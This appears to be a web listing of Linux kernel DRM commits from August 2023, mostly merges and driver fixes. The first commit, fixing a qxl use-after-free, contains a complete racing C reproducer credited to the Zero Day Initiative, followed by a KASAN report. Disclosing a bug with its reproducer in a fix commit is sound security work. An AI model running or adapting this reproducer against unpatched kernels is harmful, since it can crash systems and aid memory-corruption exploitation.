1. 17 Aug, 2023 5 commits
    • Wander Lairson Costa's avatar
      drm/qxl: fix UAF on handle creation · c611589b
      Wander Lairson Costa authored
      qxl_mode_dumb_create() dereferences the qobj returned by
      qxl_gem_object_create_with_handle(), but the handle is the only one
      holding a reference to it.
      
      A potential attacker could guess the returned handle value and closes it
      between the return of qxl_gem_object_create_with_handle() and the qobj
      usage, triggering a use-after-free scenario.
      
      Reproducer:
      
      int dri_fd =-1;
      struct drm_mode_create_dumb arg = {0};
      
      void gem_close(int handle);
      
      void* trigger(void* ptr)
      {
      	int ret;
      	arg.width = arg.height = 0x20;
      	arg.bpp = 32;
      	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
      	if(ret)
      	{
      		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
      		exit(-1);
      	}
      	gem_close(arg.handle);
      	while(1) {
      		struct drm_mode_create_dumb args = {0};
      		args.width = args.height = 0x20;
      		args.bpp = 32;
      		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
      		if (ret) {
      			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
      			exit(-1);
      		}
      
      		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
      		gem_close(args.handle);
      	}
      	return NULL;
      }
      
      void gem_close(int handle)
      {
      	struct drm_gem_close args;
      	args.handle = handle;
      	int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
      	if (!ret)
      		printf("gem close handle %d\n", args.handle);
      }
      
      int main(void)
      {
      	dri_fd= open("/dev/dri/card0", O_RDWR);
      	printf("fd:%d\n", dri_fd);
      
      	if(dri_fd == -1)
      		return -1;
      
      	pthread_t tid1;
      
      	if(pthread_create(&tid1,NULL,trigger,NULL)){
      		perror("[*] thread_create tid1\n");
      		return -1;
      	}
      	while (1)
      	{
      		gem_close(arg.handle);
      	}
      	return 0;
      }
      
      This is a KASAN report:
      
      ==================================================================
      BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
      Write of size 1 at addr ffff88801136c240 by task poc/515
      
      CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
      Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
      Call Trace:
      <TASK>
      __dump_stack linux/lib/dump_stack.c:88
      dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
      print_address_description linux/mm/kasan/report.c:319
      print_report+0xd2/0x660 linux/mm/kasan/report.c:430
      kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
      __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
      qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
      drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
      drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
      drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
      drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
      vfs_ioctl linux/fs/ioctl.c:51
      __do_sys_ioctl linux/fs/ioctl.c:870
      __se_sys_ioctl linux/fs/ioctl.c:856
      __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
      do_syscall_x64 linux/arch/x86/entry/common.c:50
      do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
      entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
      RIP: 0033:0x7ff5004ff5f7
      Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
      
      RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
      RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
      RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
      RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
      R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
      R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
      </TASK>
      
      Allocated by task 515:
      kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
      kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
      kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
      ____kasan_kmalloc linux/mm/kasan/common.c:374
      __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
      kasan_kmalloc linux/./include/linux/kasan.h:196
      kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
      kmalloc linux/./include/linux/slab.h:580
      kzalloc linux/./include/linux/slab.h:720
      qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
      qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
      qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
      qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
      drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
      drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
      drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
      drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
      vfs_ioctl linux/fs/ioctl.c:51
      __do_sys_ioctl linux/fs/ioctl.c:870
      __se_sys_ioctl linux/fs/ioctl.c:856
      __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
      do_syscall_x64 linux/arch/x86/entry/common.c:50
      do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
      entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
      
      Freed by task 515:
      kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
      kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
      kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
      ____kasan_slab_free linux/mm/kasan/common.c:236
      ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
      __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
      kasan_slab_free linux/./include/linux/kasan.h:162
      slab_free_hook linux/mm/slub.c:1781
      slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
      slab_free linux/mm/slub.c:3787
      __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
      kfree+0x78/0x120 linux/mm/slab_common.c:1019
      qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
      ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
      kref_put linux/./include/linux/kref.h:65
      ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
      qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
      drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
      kref_put linux/./include/linux/kref.h:65
      __drm_gem_object_put linux/./include/drm/drm_gem.h:431
      drm_gem_object_put linux/./include/drm/drm_gem.h:444
      qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
      qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
      drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
      drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
      drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
      drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
      vfs_ioctl linux/fs/ioctl.c:51
      __do_sys_ioctl linux/fs/ioctl.c:870
      __se_sys_ioctl linux/fs/ioctl.c:856
      __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
      do_syscall_x64 linux/arch/x86/entry/common.c:50
      do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
      entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
      
      The buggy address belongs to the object at ffff88801136c000
      which belongs to the cache kmalloc-1k of size 1024
      The buggy address is located 576 bytes inside of
      freed 1024-byte region [ffff88801136c000, ffff88801136c400)
      
      The buggy address belongs to the physical page:
      page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
      head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
      flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
      raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
      raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
      page dumped because: kasan: bad access detected
      
      Memory state around the buggy address:
      ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      ^
      ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
      ==================================================================
      Disabling lock debugging due to kernel taint
      
      Instead of returning a weak reference to the qxl_bo object, return the
      created drm_gem_object and let the caller decrement the reference count
      when it no longer needs it. As a convenience, if the caller is not
      interested in the gobj object, it can pass NULL to the parameter and the
      reference counting is descremented internally.
      
      The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
      
      Link: https://www.zerodayinitiative.com/Signed-off-by: default avatarWander Lairson Costa <wander@redhat.com>
      Cc: stable@vger.kernel.org
      Reviewed-by: default avatarDave Airlie <airlied@redhat.com>
      Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
      c611589b
    • Dave Airlie's avatar
      Merge tag 'amd-drm-fixes-6.5-2023-08-16' of... · 68c60b34
      Dave Airlie authored
      Merge tag 'amd-drm-fixes-6.5-2023-08-16' of https://gitlab.freedesktop.org/agd5f/linux into drm-fixes
      
      amd-drm-fixes-6.5-2023-08-16:
      
      amdgpu:
      - SMU 13.x fixes
      - Fix mcbp parameter for gfx9
      - SMU 11.x fixes
      - Temporary fix for large numbers of XCP partitions
      - S0ix fixes
      - DCN 2.0 fix
      Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
      
      From: Alex Deucher <alexander.deucher@amd.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230816200226.10771-1-alexander.deucher@amd.com
      68c60b34
    • Dave Airlie's avatar
      Merge tag 'drm-misc-fixes-2023-08-17' of git://anongit.freedesktop.org/drm/drm-misc into drm-fixes · be48306f
      Dave Airlie authored
      One EPROBE_DEFER handling fix for the JDI LT070ME05000, a timing fix for
      the AUO G121EAN01 panel, an integer overflow and a memory leak fixes for
      the qaic accel, a use-after-free fix for nouveau and a revert for an
      alleged fix in EDID parsing.
      Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
      
      From: Maxime Ripard <mripard@redhat.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/3olqt33em5uhxzjbqghwcwnvmw73h7bxkbdxookmnkecymd4vc@7ogm6gewpprq
      be48306f
    • Dave Airlie's avatar
      Merge tag 'drm-intel-fixes-2023-08-17' of... · dd64d8ae
      Dave Airlie authored
      Merge tag 'drm-intel-fixes-2023-08-17' of git://anongit.freedesktop.org/drm/drm-intel into drm-fixes
      
      - Fix the flow for ignoring GuC SLPC efficient frequency selection (Vinay)
      - Fix SDVO panel_type initialization (Jani)
      - Fix display probe for IVB Q and IVB D GT2 server (Jani)
      Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
      
      From: Rodrigo Vivi <rodrigo.vivi@intel.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/ZN4yduyBU1Ev9dc7@intel.com
      dd64d8ae
    • Jani Nikula's avatar
      Revert "drm/edid: Fix csync detailed mode parsing" · 50b6f2c8
      Jani Nikula authored
      This reverts commit ca62297b.
      
      Commit ca62297b ("drm/edid: Fix csync detailed mode parsing") fixed
      EDID detailed mode sync parsing. Unfortunately, there are quite a few
      displays out there that have bogus (zero) sync field that are broken by
      the change. Zero means analog composite sync, which is not right for
      digital displays, and the modes get rejected. Regardless, it used to
      work, and it needs to continue to work. Revert the change.
      
      Rejecting modes with analog composite sync was the part that fixed the
      gitlab issue 8146 [1]. We'll need to get back to the drawing board with
      that.
      
      [1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146
      
      Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8789
      Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8930
      Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/9044
      Fixes: ca62297b ("drm/edid: Fix csync detailed mode parsing")
      Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
      Cc: dri-devel@lists.freedesktop.org
      Cc: <stable@vger.kernel.org> # v6.4+
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Acked-by: default avatarVille Syrjälä <ville.syrjala@linux.intel.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230815101907.2900768-1-jani.nikula@intel.com
      50b6f2c8
  2. 16 Aug, 2023 10 commits
  3. 15 Aug, 2023 2 commits
  4. 14 Aug, 2023 5 commits
    • Jani Nikula's avatar
      drm/i915: fix display probe for IVB Q and IVB D GT2 server · 423ffe62
      Jani Nikula authored
      The current display probe is unable to differentiate between IVB Q and
      IVB D GT2 server, as they both have the same device id, but different
      subvendor and subdevice. This leads to the latter being misidentified as
      the former, and should just end up not having a display. However, the no
      display case returns a NULL as the display device info, and promptly
      oopses.
      
      As the IVB Q case is rare, and we're anyway moving towards GMD ID,
      handle the identification requiring subvendor and subdevice as a special
      case first, instead of unnecessarily growing the intel_display_ids[]
      array with subvendor and subdevice.
      
      [    5.425298] BUG: kernel NULL pointer dereference, address: 0000000000000000
      [    5.426059] #PF: supervisor read access in kernel mode
      [    5.426810] #PF: error_code(0x0000) - not-present page
      [    5.427570] PGD 0 P4D 0
      [    5.428285] Oops: 0000 [#1] PREEMPT SMP PTI
      [    5.429035] CPU: 0 PID: 137 Comm: (udev-worker) Not tainted 6.4.0-1-amd64 #1  Debian 6.4.4-1
      [    5.429759] Hardware name: HP HP Z220 SFF Workstation/HP Z220 SFF Workstation, BIOS 4.19-218-gb184e6e0a1 02/02/2023
      [    5.430485] RIP: 0010:intel_device_info_driver_create+0xf1/0x120 [i915]
      [    5.431338] Code: 48 8b 97 80 1b 00 00 89 8f c0 1b 00 00 48 89 b7 b0 1b 00 00 48 89 97 b8 1b 00 00 0f b7 fd e8 76 e8 14 00 48 89 83 50 1b 00 00 <48> 8b 08 48 89 8b c4 1b 00 00 48 8b 48 08 48 89 8b cc 1b 00 00 8b
      [    5.432920] RSP: 0018:ffffb8254044fb98 EFLAGS: 00010206
      [    5.433707] RAX: 0000000000000000 RBX: ffff923076e80000 RCX: 0000000000000000
      [    5.434494] RDX: 0000000000000260 RSI: 0000000100001000 RDI: 000000000000016a
      [    5.435277] RBP: 000000000000016a R08: ffffb8254044fb00 R09: 0000000000000000
      [    5.436055] R10: ffff922d02761de8 R11: 00657361656c6572 R12: ffffffffc0e5d140
      [    5.436867] R13: ffff922d00b720d0 R14: 0000000076e80000 R15: ffff923078c0cae8
      [    5.437646] FS:  00007febd19a18c0(0000) GS:ffff92307c000000(0000) knlGS:0000000000000000
      [    5.438434] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
      [    5.439218] CR2: 0000000000000000 CR3: 000000010256e002 CR4: 00000000001706f0
      [    5.440009] Call Trace:
      [    5.440824]  <TASK>
      [    5.441611]  ? __die+0x23/0x70
      [    5.442394]  ? page_fault_oops+0x17d/0x4c0
      [    5.443173]  ? exc_page_fault+0x7f/0x180
      [    5.443949]  ? asm_exc_page_fault+0x26/0x30
      [    5.444756]  ? intel_device_info_driver_create+0xf1/0x120 [i915]
      [    5.445652]  ? intel_device_info_driver_create+0xea/0x120 [i915]
      [    5.446545]  i915_driver_probe+0x7f/0xb60 [i915]
      [    5.447431]  ? drm_privacy_screen_get+0x15c/0x1a0 [drm]
      [    5.448240]  local_pci_probe+0x45/0xa0
      [    5.449013]  pci_device_probe+0xc7/0x240
      [    5.449748]  really_probe+0x19e/0x3e0
      [    5.450464]  ? __pfx___driver_attach+0x10/0x10
      [    5.451172]  __driver_probe_device+0x78/0x160
      [    5.451870]  driver_probe_device+0x1f/0x90
      [    5.452601]  __driver_attach+0xd2/0x1c0
      [    5.453293]  bus_for_each_dev+0x88/0xd0
      [    5.453989]  bus_add_driver+0x116/0x220
      [    5.454672]  driver_register+0x59/0x100
      [    5.455336]  i915_init+0x25/0xc0 [i915]
      [    5.456104]  ? __pfx_i915_init+0x10/0x10 [i915]
      [    5.456882]  do_one_initcall+0x5d/0x240
      [    5.457511]  do_init_module+0x60/0x250
      [    5.458126]  __do_sys_finit_module+0xac/0x120
      [    5.458721]  do_syscall_64+0x60/0xc0
      [    5.459314]  ? syscall_exit_to_user_mode+0x1b/0x40
      [    5.459897]  ? do_syscall_64+0x6c/0xc0
      [    5.460510]  entry_SYSCALL_64_after_hwframe+0x72/0xdc
      [    5.461082] RIP: 0033:0x7febd20b0eb9
      [    5.461648] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 2f 1f 0d 00 f7 d8 64 89 01 48
      [    5.462905] RSP: 002b:00007fffabb1ba78 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
      [    5.463554] RAX: ffffffffffffffda RBX: 0000561e6304f410 RCX: 00007febd20b0eb9
      [    5.464201] RDX: 0000000000000000 RSI: 00007febd2244f0d RDI: 0000000000000015
      [    5.464869] RBP: 00007febd2244f0d R08: 0000000000000000 R09: 000000000000000a
      [    5.465512] R10: 0000000000000015 R11: 0000000000000246 R12: 0000000000020000
      [    5.466124] R13: 0000000000000000 R14: 0000561e63032b60 R15: 000000000000000a
      [    5.466700]  </TASK>
      [    5.467271] Modules linked in: i915(+) drm_buddy video crc32_pclmul sr_mod hid_generic wmi crc32c_intel i2c_algo_bit sd_mod cdrom drm_display_helper cec usbhid rc_core ghash_clmulni_intel hid sha512_ssse3 ttm sha512_generic xhci_pci ehci_pci xhci_hcd ehci_hcd nvme ahci drm_kms_helper nvme_core libahci t10_pi libata psmouse aesni_intel scsi_mod crypto_simd i2c_i801 scsi_common crc64_rocksoft_generic cryptd i2c_smbus drm lpc_ich crc64_rocksoft crc_t10dif e1000e usbcore crct10dif_generic usb_common crct10dif_pclmul crc64 crct10dif_common button
      [    5.469750] CR2: 0000000000000000
      [    5.470364] ---[ end trace 0000000000000000 ]---
      [    5.470971] RIP: 0010:intel_device_info_driver_create+0xf1/0x120 [i915]
      [    5.471699] Code: 48 8b 97 80 1b 00 00 89 8f c0 1b 00 00 48 89 b7 b0 1b 00 00 48 89 97 b8 1b 00 00 0f b7 fd e8 76 e8 14 00 48 89 83 50 1b 00 00 <48> 8b 08 48 89 8b c4 1b 00 00 48 8b 48 08 48 89 8b cc 1b 00 00 8b
      [    5.473034] RSP: 0018:ffffb8254044fb98 EFLAGS: 00010206
      [    5.473698] RAX: 0000000000000000 RBX: ffff923076e80000 RCX: 0000000000000000
      [    5.474371] RDX: 0000000000000260 RSI: 0000000100001000 RDI: 000000000000016a
      [    5.475045] RBP: 000000000000016a R08: ffffb8254044fb00 R09: 0000000000000000
      [    5.475725] R10: ffff922d02761de8 R11: 00657361656c6572 R12: ffffffffc0e5d140
      [    5.476405] R13: ffff922d00b720d0 R14: 0000000076e80000 R15: ffff923078c0cae8
      [    5.477124] FS:  00007febd19a18c0(0000) GS:ffff92307c000000(0000) knlGS:0000000000000000
      [    5.477811] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
      [    5.478499] CR2: 0000000000000000 CR3: 000000010256e002 CR4: 00000000001706f0
      
      Fixes: 69d43981 ("drm/i915/display: Make display responsible for probing its own IP")
      Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8991
      Cc: Matt Roper <matthew.d.roper@intel.com>
      Cc: Andrzej Hajda <andrzej.hajda@intel.com>
      Reviewed-by: default avatarLuca Coelho <luciano.coelho@intel.com>
      Reviewed-by: default avatarMatt Roper <matthew.d.roper@intel.com>
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230804084600.1005818-1-jani.nikula@intel.com
      (cherry picked from commit 14351883)
      Signed-off-by: default avatarRodrigo Vivi <rodrigo.vivi@intel.com>
      423ffe62
    • Jani Nikula's avatar
      drm/i915/sdvo: fix panel_type initialization · 2002eb6d
      Jani Nikula authored
      Commit 3f9ffce5 ("drm/i915: Do panel VBT init early if the VBT
      declares an explicit panel type") started using -1 as the value for
      unset panel_type. It gets initialized in intel_panel_init_alloc(), but
      the SDVO code never calls it.
      
      Call intel_panel_init_alloc() to initialize the panel, including the
      panel_type.
      Reported-by: default avatarTomi Leppänen <tomi@tomin.site>
      Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8896
      Fixes: 3f9ffce5 ("drm/i915: Do panel VBT init early if the VBT declares an explicit panel type")
      Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
      Cc: <stable@vger.kernel.org> # v6.1+
      Reviewed-by: default avatarUma Shankar <uma.shankar@intel.com>
      Tested-by: default avatarTomi Leppänen <tomi@tomin.site>
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230803122706.838721-1-jani.nikula@intel.com
      (cherry picked from commit 26e60294)
      Signed-off-by: default avatarRodrigo Vivi <rodrigo.vivi@intel.com>
      2002eb6d
    • Vinay Belgaumkar's avatar
      drm/i915/guc/slpc: Restore efficient freq earlier · 5598c9bf
      Vinay Belgaumkar authored
      This should be done before the soft min/max frequencies are restored.
      When we disable the "Ignore efficient frequency" flag, GuC does not
      actually bring the requested freq down to RPn.
      
      Specifically, this scenario-
      
      - ignore efficient freq set to true
      - reduce min to RPn (from efficient)
      - suspend
      - resume (includes GuC load, restore soft min/max, restore efficient freq)
      - validate min freq has been resored to RPn
      
      This will fail if we didn't first restore(disable, in this case) efficient
      freq flag before setting the soft min frequency.
      
      v2: Bring the min freq down to RPn when we disable efficient freq (Rodrigo)
      Also made the change to set the min softlimit to RPn at init. Otherwise, we
      were storing RPe there.
      
      Link: https://gitlab.freedesktop.org/drm/intel/-/issues/8736
      Fixes: 55f9720d ("drm/i915/guc/slpc: Provide sysfs for efficient freq")
      Fixes: 95ccf312 ("drm/i915/guc/slpc: Allow SLPC to use efficient frequency")
      Signed-off-by: default avatarVinay Belgaumkar <vinay.belgaumkar@intel.com>
      Reviewed-by: default avatarRodrigo Vivi <rodrigo.vivi@intel.com>
      Signed-off-by: default avatarJohn Harrison <John.C.Harrison@Intel.com>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230726010044.3280402-1-vinay.belgaumkar@intel.com
      (cherry picked from commit 28e67111)
      Signed-off-by: default avatarRodrigo Vivi <rodrigo.vivi@intel.com>
      5598c9bf
    • Luca Ceresoli's avatar
      drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docs · e8470c0a
      Luca Ceresoli authored
      Commit 03e909ac ("drm/panel: simple: Add support for AUO G121EAN01.4
      panel") added support for this panel model, but the timings it implements
      are very different from what the datasheet describes. I checked both the
      G121EAN01.0 datasheet from [0] and the G121EAN01.4 one from [1] and they
      all have the same timings: for example the LVDS clock typical value is 74.4
      MHz, not 66.7 MHz as implemented.
      
      Replace the timings with the ones from the documentation. These timings
      have been tested and the clock frequencies verified with an oscilloscope to
      ensure they are correct.
      
      Also use struct display_timing instead of struct drm_display_mode in order
      to also specify the minimum and maximum values.
      
      [0] https://embedded.avnet.com/product/g121ean01-0/
      [1] https://embedded.avnet.com/product/g121ean01-4/
      
      Fixes: 03e909ac ("drm/panel: simple: Add support for AUO G121EAN01.4 panel")
      Signed-off-by: default avatarLuca Ceresoli <luca.ceresoli@bootlin.com>
      Reviewed-by: default avatarNeil Armstrong <neil.armstrong@linaro.org>
      Signed-off-by: default avatarNeil Armstrong <neil.armstrong@linaro.org>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230804151239.835216-1-luca.ceresoli@bootlin.com
      e8470c0a
    • David Heidelberg's avatar
      drm/panel: JDI LT070ME05000 simplify with dev_err_probe() · ae654683
      David Heidelberg authored
      Use the dev_err_probe() helper to simplify error handling during probe.
      This also handle scenario, when EDEFER is returned and useless error is printed.
      
      Fixes error:
      panel-jdi-lt070me05000 4700000.dsi.0: cannot get enable-gpio -517
      Signed-off-by: default avatarDavid Heidelberg <david@ixit.cz>
      Reviewed-by: default avatarNeil Armstrong <neil.armstrong@linaro.org>
      Signed-off-by: default avatarNeil Armstrong <neil.armstrong@linaro.org>
      Link: https://patchwork.freedesktop.org/patch/msgid/20230812185239.378582-1-david@ixit.cz
      ae654683
  5. 13 Aug, 2023 9 commits
  6. 12 Aug, 2023 9 commits
    • Linus Torvalds's avatar
      Merge tag 'for-6.5-rc5-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux · a785fd28
      Linus Torvalds authored
      Pull btrfs fixes from David Sterba:
       "More fixes, some of them going back to older releases and there are
        fixes for hangs in stress tests regarding space caching:
      
         - fixes and progress tracking for hangs in free space caching, found
           by test generic/475
      
         - writeback fixes, write pages in integrity mode and skip writing
           pages that have been written meanwhile
      
         - properly clear end of extent range after an error
      
         - relocation fixes:
            - fix race betwen qgroup tree creation and relocation
            - detect and report invalid reloc roots"
      
      * tag 'for-6.5-rc5-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux:
        btrfs: set cache_block_group_error if we find an error
        btrfs: reject invalid reloc tree root keys with stack dump
        btrfs: exit gracefully if reloc roots don't match
        btrfs: avoid race between qgroup tree creation and relocation
        btrfs: properly clear end of the unreserved range in cow_file_range
        btrfs: don't wait for writeback on clean pages in extent_write_cache_pages
        btrfs: don't stop integrity writeback too early
        btrfs: wait for actual caching progress during allocation
      a785fd28
    • Linus Torvalds's avatar
      Merge tag 'gpio-fixes-for-v6.5-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/brgl/linux · ae545c32
      Linus Torvalds authored
      Pull gpio fixes from Bartosz Golaszewski:
      
       - mark virtual chips exposed by gpio-sim as ones that can sleep
         (callbacks must not be called from interrupt context)
      
       - fix an off-by-one error in gpio-ws16c48
      
      * tag 'gpio-fixes-for-v6.5-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/brgl/linux:
        gpio: ws16c48: Fix off-by-one error in WS16C48 resource region extent
        gpio: sim: mark the GPIO chip as a one that can sleep
      ae545c32
    • Mateusz Guzik's avatar
      locking: remove spin_lock_prefetch · c8afaa1b
      Mateusz Guzik authored
      The only remaining consumer is new_inode, where it showed up in 2001 as
      commit c37fa164 ("v2.4.9.9 -> v2.4.9.10") in a historical repo [1]
      with a changelog which does not mention it.
      
      Since then the line got only touched up to keep compiling.
      
      While it may have been of benefit back in the day, it is guaranteed to
      at best not get in the way in the multicore setting -- as the code
      performs *a lot* of work between the prefetch and actual lock acquire,
      any contention means the cacheline is already invalid by the time the
      routine calls spin_lock().  It adds spurious traffic, for short.
      
      On top of it prefetch is notoriously tricky to use for single-threaded
      purposes, making it questionable from the get go.
      
      As such, remove it.
      
      I admit upfront I did not see value in benchmarking this change, but I
      can do it if that is deemed appropriate.
      
      Removal from new_inode and of the entire thing are in the same patch as
      requested by Linus, so whatever weird looks can be directed at that guy.
      
      Link: https://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.git/commit/fs/inode.c?id=c37fa164f793735b32aa3f53154ff1a7659e6442 [1]
      Signed-off-by: default avatarMateusz Guzik <mjguzik@gmail.com>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      c8afaa1b
    • Linus Torvalds's avatar
      Merge tag 'char-misc-6.5-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc · 3feecb1b
      Linus Torvalds authored
      Pull char / misc driver fixes from Greg KH:
       "Here are some small char/misc driver fixes for 6.5-rc6 that resolve
        some reported issues. Included in here are:
      
         - bunch of iio driver fixes for reported problems
      
         - interconnect driver fixes
      
         - counter driver build fix
      
         - cardreader driver fixes
      
         - binder driver fixes
      
         - other tiny driver fixes
      
        All of these have been in linux-next for a while with no reported
        problems"
      
      * tag 'char-misc-6.5-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc: (21 commits)
